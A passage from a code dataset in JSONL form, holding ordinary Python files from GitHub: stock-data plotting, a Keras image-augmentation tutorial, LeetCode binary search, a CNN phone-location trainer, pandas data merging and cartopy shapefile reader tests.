out\n\n\n","repo_name":"LUziyee/TorchCTR","sub_path":"torchctr/models/dcn.py","file_name":"dcn.py","file_ext":"py","file_size_in_byte":2609,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"21"}
+{"seq_id":"29649925614","text":"# web에서 주식 데이터 가져오기\n# pandas_datareader package, data module: 인터넷상에서 제공하는 다양한 데이터를 DataFrame으로 만들어 주는 기능 제공\nimport pandas_datareader.data as web\nimport datetime\nimport matplotlib.pyplot as plt\n\nstart = datetime.datetime(2020, 1, 1)\nend = datetime.datetime(2020, 5, 22)\n\nsamsung = web.DataReader('005930.KS', 'yahoo',start,end)\n# print(samsung)\n\n# DataFrame 객체 요약해서 보기\nprint(samsung.info())\n\n# DataReader 함수 호출 시, 조회 기간을 입력하지 않으면 2010/1/1 부터 데이터 조회일까지의 데이터를 얻어온다.\nsamsung = web.DataReader('005930.KS', 'yahoo')\n\nplt.plot(samsung.index, samsung['Adj Close'])\nplt.show()\n","repo_name":"minhyeonlee/algorithmic-trading","sub_path":"pandas_practice/DataReaderPractice.py","file_name":"DataReaderPractice.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"14692212800","text":"from optparse import OptionParser, OptionGroup\n\nimport playerc\n\ndef parse_args():\n    parser = OptionParser() \n\n    group = OptionGroup(parser, \"Player server settings\")\n\n    group.add_option(\"--host\", default='localhost',\n                      help='[= %default] Player server host.')\n\n    group.add_option(\"--port\", '-p', default=6665, type='int',\n                     help='[= %default] Player server port.')\n    \n    parser.add_option_group(group)\n\n    group = OptionGroup(parser, \"Other options\")\n\n    group.add_option(\"--debug\", default=False, action='store_true',\n                      help='Activates debug mode.')\n    \n    group.add_option(\"--laser\", default=False, action='store_true',\n                      help='[= %default] Uses laser.')\n    \n    group.add_option(\"--set\", default='*',\n                      help='[= %default] Which combinations to run.')\n\n    group.add_option(\"--index\", \"-i\", default=0, type='int',\n                      help='[= %default] Index.')\n    group.add_option(\"--mode\", \"-m\", default=playerc.PLAYER_DATAMODE_PUSH, type='int',\n                      help='[= %default] Data mode.')\n    group.add_option(\"--update\", \"-u\", default=0, type='float',\n                      help='[= %default] Update rate (Hz).')\n    \n    parser.add_option_group(group)\n\n    (options, args) = parser.parse_args() #@UnusedVariable\n    \n    return options\n","repo_name":"AndreaCensi/me132_students","sub_path":"template_python/src/me132_template/cmdline_parsing.py","file_name":"cmdline_parsing.py","file_ext":"py","file_size_in_byte":1371,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"12533073540","text":"import numpy as np\nfrom keras.preprocessing.image import ImageDataGenerator # \nfrom tensorflow.python.keras.models import Sequential\nfrom tensorflow.python.keras.layers import Dense, Conv2D, Flatten\nimport matplotlib.pyplot as plt\n\n\n''' 1. 데이터 '''\n\n\n\n''' 1-1. ImageDataGenerator 선언 '''\ntrain_datagen = ImageDataGenerator(    # 아래의 모든건 컴터가 알아서 몇개를 적용할지 다 랜덤으로 적용됨, 증폭가능. 밑에거를 쓸지 말지는 나의 선택\n    rescale=1./255,                    # MinMax 해주겠다는 것과 같음 (스케일링 기능임)\n    horizontal_flip=True,              # 상하 반전\n    vertical_flip=True,                # 좌우 반전\n    width_shift_range=0.1,             # 가로 수평 이동 0.1 (10%)\n    height_shift_range=0.1,            # 상하 이동 \n    rotation_range=5,                  # 돌려돌려돌림판\n    zoom_range=1.2,                    # 확대 \n    shear_range=0.7,                   # 기울기? 찌그러트리기? 비틀기? 짜부? \n    fill_mode='nearest'                # 위의 여러가지 증폭 메뉴에서 설정한 파라미터대로 이미지를 건드려서 빈칸이 발생했다면 그 빈 곳(빈 픽셀)을 근처의 값으로 채우겠다는 뜻\n)                                      # 아직까지는 트레인 데이터 준비만 한거임. 선언만 한거임. 밑에서 모델에 넣을 수 있도록 정제는 내가 따로 해줘야 함\ntest_datagen = ImageDataGenerator(\n    rescale=1./255                     # 테스트 데이터는 증폭하면 안됨. 평가할 때는 원본으로 해야 정확한 검증이 가능함\n)\n# 이미지를 제자리에서 이동 시키든가, 상하좌우 반전을 시키든가, 기타등등 해서 여러가지 형태의 이미지를 모두 학습시킴으로써 어떤형태의 이미지라도 판단할 수 있게하는 목적임\n\n\n\n''' 1-2. flow_from_directory '''\nxy_train = train_datagen.flow_from_directory('d:/study_data/_data/image/brain/train/', # 이미지 데이터를 받아올 경로를 설정 해줌\n                                             target_size=(200, 200),                   # 이미지 크기 조절. 고르지 않은 크기들을 가로세로 픽셀 사이즈를 지정해줌. 내 맘대로 가능\n                                             batch_size=1,                             # 이건 그냥 냅다 1억 정도 박자. 어차피 밑에서 걍 model.fit 쓰면 배치사이즈 지정 가능\n                                             class_mode='binary',                      # 0, 1 분류. 이진분류. (3가지 이상은 categorical)\n                                             color_mode='grayscale',                   # 이걸 따로 지정해주지 않으면 디폴트값은 컬러로 나옴. 밑에 print(xy_train[31][0].shape) 참고\n                                             shuffle=True, seed=66,                    # 안의 내용을 섞어줌  randomstate와 마찬가지로 랜덤값 고정. 변환할 정도를 랜덤셔플하게 섞어줌\n                                             save_to_dir='경로 지정'                    # 건든 데이터를 출력��서 보여줌(?)\n                                             ) \n# Found 160 images belonging to 2 classes. (flow_from_directory를 통과했을 때 160개의 이미지와 2개의 클래스가 됨)\n\nxy_test = test_datagen.flow_from_directory('d:/study_data/_data/image/brain/test/', \n                                             target_size=(200, 200), \n                                             batch_size=5,\n                                             class_mode='binary', \n                                             shuffle=True,\n                                             ) \n# Found 120 images belonging to 2 classes.\n# 파이토치의 데이터로더 및 텐서플로(케라스)의 ImageDataGenerator 등등 다 이런형식으로 저장되어있고 불러옴\n\n# print(xy_train)\n# <keras.preprocessing.image.DirectoryIterator object at 0x000001D1D70A8D90> \n\n# from sklearn.datasets import load_boston\n# datasets = load_boston()\n# print(datasets) # <- 데이터 자체가 나오진 않음. 설명만 주저리\n\n\n\n''' 1-3. print()해서 확인 '''\n# print(xy_train[ ]) # <- x_train에 y값이 포함 돼있다는 걸 알 수 있음. (배치사이즈 5개니까 160/5=32개) 마지막 배치는 31개\n# 근데 지금과 같이 이미지 개수가 160개일때 배치를 6으로 하는 경우(26.66666...) 나눠 떨어지지 않는 경우는 마지막 값을 찍어보면 그 나눈 나머지가 나옴 \n# 이미지 데이터의 전체 사이즈보다 배치를 더 많이 넣어도 컴터가 알아서 해줌 \n# 하지만 우리는 어차피 model.fit을 쓸거기 때문에 위에 배치 사이즈는 그냥 이미지의 개수만큼(아니면 냅다 엄청 큰 값)을 때려박아놓고 원래 하던 것처럼 model.fit에서 batch_size 지정 해주면 됨. 이렇게 하면\n# print(xy_train[0])을 했을 때 첫번째 배치가 나옴. 이게 곧 전체 이미지 데이터를 의미하는 것과 다를 게 없음. dtype=float32), array([0., 0., 0., 0., 0.], dtype=float32)) <- 이런 형식으로 나옴\n\n# print(xy_train[31][0]) 0하면 x값만 나옴. 1이 y. \n# print(xy_train[31][1]) \n# print(xy_train[30]1][.shape) # (5, 150, 150, 3) 따로 컬러를 지정해주지 않으면 흑백도 컬러로 인식함. 따라서 (n, n, n, 3)\n# print(xy_train[31][0].shape, xy_train[31][1].shape)\n\n# print(xy_train[0][0]) <- xy_train의 첫번째 덩어리의 첫번째 = x \n# print(xy_train[0][1]) <- xy_train의 첫번째 덩어리의 두번째 = y # <- 원핫인코딩까지 돼서 0 1 로 나옴\n# print(xy_train[0][0].shape, xy_train[0][1].shape) -> (배치 사이즈 값, 타겟 사이즈 가로값, 타겟 사이즈 세로값, 흑백or컬러 값)\n\nprint(type(xy_train)) # 자료형을 보면 <class 'keras.preprocessing.image.DirectoryIterator'>  Iterator는 반복자라는 뜻. for문도 Iterator의 일종임\nprint(type(xy_train[0]))       # <class 'tuple'> 튜플 형식인 걸 알 수 있음. 튜플은 안의 값들이 수정이 불가능함\nprint(type(xy_train[0][0]))    # x <class 'numpy.ndarray'> 넘파이 어레이 형식\nprint(type(xy_train[0][1]))    # y <class 'numpy.ndarray'>\n                               # x 넘파이 y 넘파이가 배치 단위로 묶여있는 구조\n                               \n                               \n                               \n''' 1-4. 전처리된 이미지 데이터 저장 '''\n# 이미지 개수가 많아지면 불러올 때마다 로딩 시간이 너무 길어짐 (모델 한번 돌릴 때마다 불러와야 함)\n# 그래서 데이터를 수치화 시켜서 저장을 해놓고 필요할 때 그냥 그 저장해놓은 파일을 불러오기만 하면됨\n# 나중에 크기가 커지면 csv 파일도 이렇게 변환해서 저장 해놓고 불러오는 게 더 빠를 수 있음\nnp.save('경로', arr=xy_train[0][0]) #\nnp.save('경로', arr=xy_train[0][1]) # \nnp.save('경로', arr=xy_test[0][0])   # \nnp.save('경로', arr=xy_test[0][1])   \n# 넘파이 수치로 변환해서 저장시켜줌 이렇게 하는게 훨씬 빠름\n\n\n\n''' 1-5. 전처리된 이미지 데이터 로드 '''\nx_train = np.load('경로')\ny_train = np.load('경로')\nx_test = np.load('경로')\ny_test = np.load('경로')\n\n\n\n''' 2. 모델 구성'''\n# 알잘딱깔센\nmodel = Sequential()\nmodel.add(Conv2D(10, (2,2), input_shape=(150, 150, 1), activation='relu'))\nmodel.add(Conv2D(10, (2,2), activation='relu'))\nmodel.add(Flatten())\nmodel.add(Dense(10, activation='relu'))\nmodel.add(Dense(1, activation='relu'))\n\n\n\n''' 3. 컴파일, 훈련 '''\nmodel.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])\n\n# model.fit(xy_train[0][0], xy_train[0][1]) <- 우리는 그냥 이렇게 해주면 되는데 일단 fit_generator를 쓰는 방법도 알아두자\n\nhist = model.fit_generator( # 여기엔 따로 배치 사이즈가 없음\n                    xy_train, epochs=10, steps_per_epoch=32, # <- 데이터 셋을 배치사이즈로 나눈 덩어리값. 보통 이 값을 넣어줌.  전체데이터/batch = 160/5 = 32. 걍 확인차의 의미임\n                    validation_data=xy_test,                 # <- 근데 여기서는 발리데이션을 test 데이터로만 해서 과적합(?)이 발생할 수 있음\n                    validation_steps=4                       # steps_per_epoch가 특정된 경우에만 유의미함. 정지 전 검증할 단계(샘플 배치)의 총 개수\n                    )\n\naccuracy = hist.history['accuracy']\nval_accuracy = hist.history['val_accuracy']\nloss = hist.history['loss']\nval_loss = hist.history['val_loss']\n\n# print('loss : ', loss) # 이렇게 하면 모든 로스가 다 나옴 \nprint('loss : ', loss[-1])\nprint('val_loss : ', val_loss[-1])\nprint('accuracy : ', accuracy[-1])\nprint('val_accuracy : ', val_accuracy[-1])\n\n\n\n''' 4. 평가, 예측 '''\n\n\n\n\n''' 5. 시각화 '''\nplt.figure(figsize=(9,6))                                         # (9 x 6 으로 그리겠다는 뜻) (figure <- 이거 알아서 찾아보기)\nplt.plot(hist.history['loss'], marker='.', c='red', label='loss') # marker '_' 로 하면 선, 아예 삭제해도 선으로 이어짐\nplt.plot(hist.history['accuracy'], marker='.', c='blue', label='accuracy')\nplt.plot(hist.history['val_loss'], marker='.', c='yellow', label='val_loss')\nplt.plot(hist.history['val_accuracy'], marker='.', c='green', label='val_accuracy')\nplt.grid()                                                        # 보기 편하게 하기 위해서 모눈종이 형태로 \nplt.title('SuperMindu')                                           # 표 이름\nplt.ylabel('loss')                                                # y축 이름 설정\nplt.xlabel('epochs')                                              # x축 이름 설정 \nplt.legend(loc='upper right')                                     # 위에 label 값이 이 위치에 명시가 된다 (디폴트 값이 upper right)\nplt.show()\n\n\n\n\n\n\n\n\n\n","repo_name":"SuperMindu/study","sub_path":"keras/개념정리/keras46_IDG정리.py","file_name":"keras46_IDG정리.py","file_ext":"py","file_size_in_byte":10046,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"6484048943","text":"#!/usr/bin/python3\n# coding=utf-8\n\"\"\"\n\n@Time    : 18-10-20 下午12:42\n@Author  : qcymkxyc\n@Email   : qcymkxyc@163.com\n@File    : book2.py\n@Software: PyCharm\n    \n\"\"\"\nfrom main.question17 import book1\n\n\ndef order_display(n):\n    \"\"\"顺序打印n位数\n\n    :param n: int\n        n位数\n    :return : list\n        打印结果\n    \"\"\"\n    nums = list()\n    sub_display(nums, \"\", n, 0)\n\n    nums.pop(0)\n    # 去除前面的0\n    book1.delete_zero(nums, n)\n    return nums\n\n\ndef sub_display(nums, num, n, index):\n    \"\"\"迭代打印数组\n\n    :param nums: list\n        打印结果\n    :param num: str\n        前面叠加的字符串\n    :param n: int\n        n位数\n    :param index: int\n        迭代的index\n    \"\"\"\n    if index == n:\n        nums.append(num)\n        return\n\n    for i in range(0, 10):\n        sub_display(nums, num + str(i), n, index + 1)\n","repo_name":"qcymkxyc/JZoffer","sub_path":"main/question17/book2.py","file_name":"book2.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"9932322368","text":"# -*- coding:utf-8 -*-\n# @Time : 2022/4/26 22:23\n# @Author : huichuan LI\n# @File : 生成器.py\n# @Software: PyCharm\n\"\"\"\n@author: shlian\n@contact: class7class@163.com\n@file: four_2.py\n@date: 2020/12/10 9:46\n@desc:\n\"\"\"\n\n\ndef generate_even(number_count: int = 5):\n    \"\"\"返回偶数序列的生成器\"\"\"\n    num = 0\n    for index in range(0, number_count):\n        print(\"yield...{0}\".format(num))\n        # yield 与 return 不同\n        # yield 的执行流程是先暂停当前函数的执行，然后返回 num 的值给调用函数\n        # 调用函数执行完成后再返回到本函数的 yield 处继续执行\n        yield num\n        num += 2\n        print(\"yield\")\n\n\nif __name__ == \"__main__\":\n    for num in generate_even():  # 生成 5 个偶数\n        print(num)\n\n    my_list = [1, 3, 6, 10]  # 初始化一个列表\n\n    list_ = [x ** 2 for x in my_list]  # 使用列表解析生成一个新的列表\n\n    generator = (x ** 2 for x in my_list)  # 使用生成器表达式生成一个生成器函数\n\n    print(list_)\n    print(generator)\n","repo_name":"HuichuanLI/effective_python","sub_path":"推导与生成/生成器.py","file_name":"生成器.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"35026172885","text":"''' \r\n    -> Importing necessary libraries\r\n    -> ALL are downloadable via pip\r\n'''\r\nimport numpy as np\r\nimport pandas as pd\r\nimport glob\r\nimport os\r\nimport math\r\nimport sys\r\nimport matplotlib.pyplot as plt\r\nimport cv2\r\nimport warnings\r\n\r\nfrom keras.models import Sequential\r\nfrom keras.models import load_model\r\nfrom keras.layers import Dense, Dropout, Flatten\r\nfrom keras.layers import Conv2D, MaxPooling2D, LeakyReLU, ReLU\r\nfrom keras.optimizers import RMSprop, Adam\r\n\r\nfrom sklearn.model_selection import train_test_split\r\n\r\nwarnings.filterwarnings(\"ignore\")\r\n'''\r\n    -> Custom function: \r\n        Return absolute value.\r\n    Used to check the accuracy of the prediction i.e. (x_pred - x_true) and (y_pred - y_true)\r\n'''\r\ndef absolute_value(x):\r\n    return math.fabs(x)\r\n\r\n'''\r\n    -> Custom function:\r\n        Returns how much is the prediction deviated from ground truth\r\n            1 signifies that the prediction is within 5 percent error\r\n            2 signifies that the prediction is within 15 percent error\r\n            3 signifies that the prediction is more than 15 percent error\r\n'''\r\ndef val(x):\r\n    if x <= 0.05:\r\n        return 1\r\n    elif x <= 0.15:\r\n        return 2\r\n    else:\r\n        return 3\r\n\r\n''' Fetching arguments from CLI '''\r\nfolder_loc = sys.argv[1] + '/'\r\nlabel_text_loc = folder_loc + \"labels.txt\"\r\nimage_loc = folder_loc + \"*.jpg\"\r\n\r\n''' Reading the labels.txt file and storing it in dataframe '''\r\nlabels = pd.read_csv(str(label_text_loc), sep = ' ', header = None)\r\nlabels.columns = ['file_name', 'x', 'y']\r\nlabels['location'] = str(folder_loc) + labels['file_name']\r\n\r\n'''\r\n    Here I am doing the following thing\r\n        1. Reading the image\r\n        2. Applying the bilateral filtering\r\n        3. Apply canny edge detection\r\n        4. Flipping the image in vertical as well horizantal directions\r\n        5. Appeding the images to a list\r\n'''\r\nimg_data, img_name = [], []\r\nfor file_name, file_loc in zip(labels['file_name'], labels['location']):\r\n\r\n    img_0 = cv2.imread(file_loc)\r\n    bilateral = cv2.bilateralFilter(img_0, 10, 180, 180)\r\n    edges = cv2.Canny(bilateral, 100, 200)\r\n    \r\n    img_0 = edges\r\n    img_flip_v = cv2.flip(img_0, 0)\r\n    img_flip_h = cv2.flip(img_0, 1)\r\n    img_flip_vh = cv2.flip(img_0, -1)\r\n\r\n    img_data.append(img_0)\r\n    img_data.append(img_flip_v)    \r\n    img_data.append(img_flip_h)    \r\n    img_data.append(img_flip_vh)\r\n    \r\n    img_name.append(file_name.split(\".\")[0] + \"_1.jpg\")\r\n    img_name.append(file_name.split(\".\")[0] + \"_2.jpg\")    \r\n    img_name.append(file_name.split(\".\")[0] + \"_3.jpg\")    \r\n    img_name.append(file_name.split(\".\")[0] + \"_4.jpg\")    \r\n\r\n''' Reshaping the input data '''\r\nimg_data = np.array(img_data)\r\nimg_data = np.reshape(img_data, (len(img_data), 326, 490, 1))\r\n\r\n''' Adjusting the co-ordinates wrt to the flipped position'''\r\ny = []\r\nfor f in img_name:\r\n    lx = labels.loc[labels['file_name'] == (f.split(\"_\")[0] + \".jpg\"), 'x'].values\r\n    ly = labels.loc[labels['file_name'] == (f.split(\"_\")[0] + \".jpg\"), 'y'].values\r\n\r\n    if f.split(\".\")[0].endswith(\"2\"):\r\n        ly = 1 - ly\r\n    \r\n    if f.split(\".\")[0].endswith(\"3\"):\r\n        lx = 1 - lx\r\n        \r\n    if f.split(\".\")[0].endswith(\"4\"):\r\n        ly = 1 - ly\r\n        lx = 1 - lx\r\n\r\n    y.append([lx, ly])\r\n\r\ny = np.array(y)\r\ny = np.reshape(y, (len(y), 2))\r\n\r\nalpha = 0.2\r\n''' Custom model architecture '''\r\nmodel_layers = [\r\n    Conv2D(16, (3, 3), strides = 1, input_shape = (326, 490, 1), activation='relu'),\r\n    Conv2D(16, kernel_size = (3, 3), strides = 1, activation='relu'),\r\n    MaxPooling2D(pool_size = (2, 2)),\r\n    \r\n    Conv2D(32, kernel_size = (3, 3), strides = 1, activation='relu'),\r\n    Conv2D(32, kernel_size = (3, 3), strides = 1, activation = 'relu'),\r\n    MaxPooling2D(pool_size = (2 ,2)),\r\n        \r\n    Conv2D(64, kernel_size = (3, 3), strides = 1, activation='relu'),\r\n    Conv2D(64, kernel_size = (3, 3), strides = 1, activation='relu'),\r\n    MaxPooling2D(pool_size = (2, 2)),\r\n\r\n    Conv2D(128, kernel_size = (3, 3), strides = 1, activation='relu'),\r\n    Conv2D(128, kernel_size = (3, 3), strides = 1, activation='relu'),\r\n    MaxPooling2D(pool_size =(2, 2)),\r\n\r\n    Conv2D(256, kernel_size = (3, 3), strides = 1, activation='relu'),\r\n    Conv2D(256, kernel_size =  (3, 3), strides = 1, activation='relu'),\r\n    MaxPooling2D(pool_size = (2 , 2)),\r\n    \r\n    Conv2D(256, kernel_size = (3, 3), strides = 1, activation='relu'),\r\n    Conv2D(256, kernel_size = (3, 3), strides = 1, activation='relu'),\r\n    MaxPooling2D(pool_size = (2 , 2)),\r\n\r\n    Flatten(), \r\n\r\n    Dense(1240, activation='relu'), \r\n    Dense(640, activation='relu'), \r\n    Dense(480, activation='relu'), \r\n    Dense(120, activation='relu'), \r\n    Dense(62, activation='relu'), \r\n    Dense(2, activation='sigmoid')\r\n]\r\n\r\nmodel = Sequential(model_layers)\r\n# print (model.summary())\r\n\r\n''' in case you want to directly load the model '''\r\n# model = load_model('my_model_log_loss_colab.h5')\r\n\r\n''' Model comping using Adam optimizer with squared log error '''\r\nmodel.compile(\r\n    loss = 'mean_squared_logarithmic_error',\r\n    optimizer = Adam(),\r\n    metrics = ['accuracy']\r\n)\r\n\r\n''' Splitting the data into test (to be used for validation purposes only) \r\n    and training datasets\r\n'''\r\nX_train, X_test, y_train, y_test = train_test_split(\r\n    img_data, \r\n    y, \r\n    test_size=0.1, \r\n    random_state=42\r\n)\r\n\r\nX_train = np.reshape(X_train, (len(X_train), 326, 490, 1))\r\ny_train = np.reshape(y_train, (len(y_train), 2))\r\n\r\n''' Fitting the model '''\r\nmodel.fit(\r\n    X_train,\r\n    y_train,\r\n    epochs = 20,\r\n    batch_size = 16,\r\n    validation_data = (X_test, y_test)\r\n)\r\n\r\n''' Checking for x_error and y_error on the entire dataset '''\r\nnew_labels = pd.DataFrame(columns = ['file_name', 'x1', 'y1'])\r\nfor i_name, i_data, _ in zip(img_name, img_data, y):\r\n    p = model.predict(i_data.reshape(1,326, 490, 1))\r\n    new_labels = new_labels.append({'file_name': i_name, 'x1' : p[0][0], 'y1' : p[0][1]}, ignore_index = True)\r\n\r\n''' \r\n    Making a dataframe with the actual and predicted values and error between them.\r\n    Storing the dataframe as master_final_custom.xlsx\r\n'''\r\nnew_labels['x'], new_labels['y'] = y[..., 0], y[..., 1]\r\nnew_labels['x_err'] = (new_labels['x1'] - new_labels['x']).apply(absolute_value)\r\nnew_labels['y_err'] = (new_labels['y1'] - new_labels['y']).apply(absolute_value)\r\nnew_labels['x_acc'] = new_labels['x_err'].apply(val)\r\nnew_labels['y_acc'] = new_labels['y_err'].apply(val)\r\nnew_labels.head()\r\nnew_labels.to_excel(\"./master_final_custom.xlsx\", sheet_name = 'master')\r\nmodel.save('./my_model_log_loss_colab.h5')","repo_name":"viramya-shah/Object-Detection-Find-Phone","sub_path":"train_phone_find.py","file_name":"train_phone_find.py","file_ext":"py","file_size_in_byte":6613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73888268532","text":"\"\"\"\nSuppose an array sorted in ascending order is rotated at some pivot unknown to you beforehand.\n\n(i.e., [0,1,2,4,5,6,7] might become [4,5,6,7,0,1,2]).\n\nYou are given a target value to search. If found in the array return its index, otherwise return -1.\n\nYou may assume no duplicate exists in the array.\n\nYour algorithm's runtime complexity must be in the order of O(log n).\n\"\"\"\n\nclass Solution: \n    # one pass solution\n    def search(self, nums: List[int], target: int) -> int:\n        l, r = 0, len(nums)-1\n        while l <= r:\n            m = l + (r - l) // 2\n            if nums[m] == target: \n                return m\n\n            # find the sorted window\n            # if the left portion is sorted\n            # left could be = mid\n            if nums[m] >= nums[l]:  # left is sorted when only one number left\n                if nums[l] <= target < nums[m]:\n                    r = m - 1\n                else:\n                    l = m + 1\n            # if the right portion is sorted\n            else:\n                if nums[m] < target <= nums[r]:\n                    l = m + 1\n                else:\n                    r = m - 1\n        return -1\n\n    def search(self, nums: List[int], target: int) -> int:\n        # find the index of the smallest value using binary search.\n        def find_pivot_index(left, right):\n            if nums[left] < nums[right]:\n                return 0\n            \n            while left <= right:\n                pivot = (left + right)//2\n                #print(pivot)\n                if nums[pivot] > nums[pivot+1]:\n                    return pivot + 1 # pivot index\n                elif nums[pivot] > nums[left]: # search right part\n                    left = pivot\n                else: # search left part\n                    right = pivot   # could be a problem in second case if right = pivot - 1\n        \n        def search(left, right):\n            \"\"\"\n            already find the left/right part of pivot to search\n            subarray is in ascending order\n            binary search for the target\n            \"\"\"\n            while left <= right:\n                pivot = (left + right)//2\n                if nums[pivot] == target:\n                    return pivot\n                elif nums[pivot] > target:\n                    right = pivot - 1\n                else:\n                    left = pivot + 1\n            return -1\n        \n        n = len(nums)\n        if n == 0:\n            return -1\n        if n == 1:\n            return 0 if nums[0] == target else -1\n        \n        pivot_index = find_pivot_index(0, n-1)\n        #print(pivot_index)\n        if nums[pivot_index] == target:\n            return pivot_index\n        elif pivot_index == 0: # not rotated\n            return search(0, n-1)\n        elif target >= nums[0]: # search left part of pivot\n            return search(0, pivot_index)\n        else: # search right part of pivot\n            return search(pivot_index, n-1)              \n\n    def search(self, nums: List[int], target: int) -> int:\n        low, high = 0, len(nums)-1\n        \n        def helper(nums, target, l, r):\n            if l > r:\n                return -1\n            mid = l + (r-l)//2\n            if nums[mid] == target:\n                return mid\n            if nums[mid] >= nums[l]: # left is sorted\n                if nums[l] <= target < nums[mid]:\n                    return helper(nums, target, l, mid-1)\n                else:\n                    return helper(nums, target, mid+1, r)\n            else: # right is sorted\n                if nums[mid] < target <= nums[r]:\n                    return helper(nums, target, mid+1, r)\n                else:\n                    return helper(nums, target, l, mid-1)\n                \n        return helper(nums, target, low, high)                    \n\nif __name__ == '__main__':\n    s = Solution()\n    print(s.search([4,5,6,7,0,1,2], 0))\n    print(s.search([4,5,1,2,3], 1))\n    # edge case: when only one num left in the left part\n    print(s.search([3,1], 1)) # 1 \n    print(s.search([4,5,6,7,0,1,2], 3)) # -1\n\n        \n            \n            \n            \n        \n        ","repo_name":"xiaofanc/leetcode","sub_path":"0033-search-in-rotated-sorted-array.py","file_name":"0033-search-in-rotated-sorted-array.py","file_ext":"py","file_size_in_byte":4125,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"530086331","text":"import pandas as pd\nimport numpy as np\n\ndf_k = pd.read_excel('Data Collection/Cinemark - 28-08-2022.xlsx')\ndf_po = pd.read_excel('Data Collection/Cinepolis - 28-08-2022.xlsx')\ndf_ms = pd.read_excel('Data Collection/Cinemas - 28-08-2022.xlsx')\n\ndf_k.loc[df_k.Pais=='Panamá','Pais']='Panama'\ndf_po.loc[df_po.Pais=='El salvador','Pais']='El Salvador'\n\ndf1 = df_k[['Pais','Nombre Cine']].drop_duplicates()\ndf2 = df_po[['Pais','Nombre Cine']].drop_duplicates()\ndf3 = df_ms[['Pais','Nombre Cine']].drop_duplicates()\n\ndf_dic = pd.concat([df1, df2, df3], axis=0)\n\ndf_dic.to_excel(\"Diccionario de datos/dic_nombreCine.xlsx\", index=False)\n#print(df_dic)","repo_name":"MigGomez/TrabajoFinalCurso","sub_path":"Diccionario de datos/dic_NombreCines.py","file_name":"dic_NombreCines.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73026994293","text":"from __future__ import (absolute_import, division, print_function)\n\nimport os.path\nimport unittest\n\nimport numpy as np\nfrom numpy.testing import assert_array_almost_equal\nimport six\n\nimport cartopy.io.shapereader as shp\n\n\nLAKES_PATH = shp.natural_earth(resolution='110m',\n                               category='physical',\n                               name='lakes')\nRIVERS_PATH = shp.natural_earth(resolution='110m',\n                                category='physical',\n                                name='rivers_lake_centerlines')\n\n\nclass TestLakes(unittest.TestCase):\n    def setUp(self):\n        self.reader = shp.Reader(LAKES_PATH)\n\n    def _assert_geometry(self, geometry):\n        self.assertEqual(geometry.type, 'MultiPolygon')\n        self.assertEqual(len(geometry), 1)\n\n        polygon = geometry[0]\n\n        expected = np.array([(-84.85548682324658, 11.147898667846633),\n                             (-85.29013729525353, 11.176165676310276),\n                             (-85.79132117383625, 11.509737046754324),\n                             (-85.8851655748783, 11.900100816287136),\n                             (-85.5653401354239, 11.940330918826362),\n                             (-85.03684526237491, 11.5216484643976),\n                             (-84.85548682324658, 11.147898667846633),\n                             (-84.85548682324658, 11.147898667846633)])\n\n        assert_array_almost_equal(expected, polygon.exterior.coords)\n\n        self.assertEqual(len(polygon.interiors), 0)\n\n    def test_geometry(self):\n        geometries = list(self.reader.geometries())\n        self.assertEqual(len(geometries), len(self.reader))\n\n        # Choose a nice small lake\n        lake = geometries[14]\n        self._assert_geometry(lake)\n\n    def test_record(self):\n        records = list(self.reader.records())\n        self.assertEqual(len(records), len(self.reader))\n\n        # Choose a nice small lake\n        lake_record = records[14]\n        self.assertEqual(lake_record.attributes.get('name'),\n                         'Lago de\\rNicaragua')\n        self.assertEqual(sorted(lake_record.attributes.keys()),\n                         sorted(['admin', 'featurecla', 'scalerank',\n                                 'name_alt', 'name']))\n        lake = lake_record.geometry\n        self._assert_geometry(lake)\n\n    def test_bounds(self):\n        # tests that a file which has a record with a bbox can\n        # use the bbox without first creating the geometry\n        record = next(self.reader.records())\n        self.assertEqual(record._geometry, False, ('The geometry was loaded '\n                                                   'before it was needed.'))\n        self.assertEqual(len(record._bounds), 4)\n        self.assertEqual(record._bounds, record.bounds)\n        self.assertEqual(record._geometry, False, ('The geometry was loaded '\n                                                   'in order to create the '\n                                                   'bounds.'))\n\n\nclass TestRivers(unittest.TestCase):\n    def setUp(self):\n        self.reader = shp.Reader(RIVERS_PATH)\n\n    def _assert_geometry(self, geometry):\n        self.assertEqual(geometry.type, 'MultiLineString')\n        self.assertEqual(len(geometry), 1)\n\n        linestring = geometry[0]\n        coords = linestring.coords\n        self.assertAlmostEqual(coords[0][0], -113.823382738076)\n        self.assertAlmostEqual(coords[0][1], 58.7102151556671)\n        self.assertAlmostEqual(coords[1][0], -113.71351864302348)\n        self.assertAlmostEqual(coords[1][1], 58.669261583075794)\n\n    def test_geometry(self):\n        geometries = list(self.reader.geometries())\n        self.assertEqual(len(geometries), len(self.reader))\n\n        # Choose a nice small river\n        river = geometries[6]\n        self._assert_geometry(river)\n\n    def test_record(self):\n        records = list(self.reader.records())\n        self.assertEqual(len(records), len(self.reader))\n\n        # Choose a nice small lake\n        river_record = records[6]\n        self.assertEqual(\n            river_record.attributes,\n            {'featurecla': 'River', 'scalerank': 2, 'name': 'Peace',\n             'name_alt': six.b(' ' * 254)})\n        river = river_record.geometry\n        self._assert_geometry(river)\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/SciTools_cartopy/cartopy-master/lib/cartopy/tests/test_shapereader.py","file_name":"test_shapereader.py","file_ext":"py","file_size_in_byte":4314,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"}
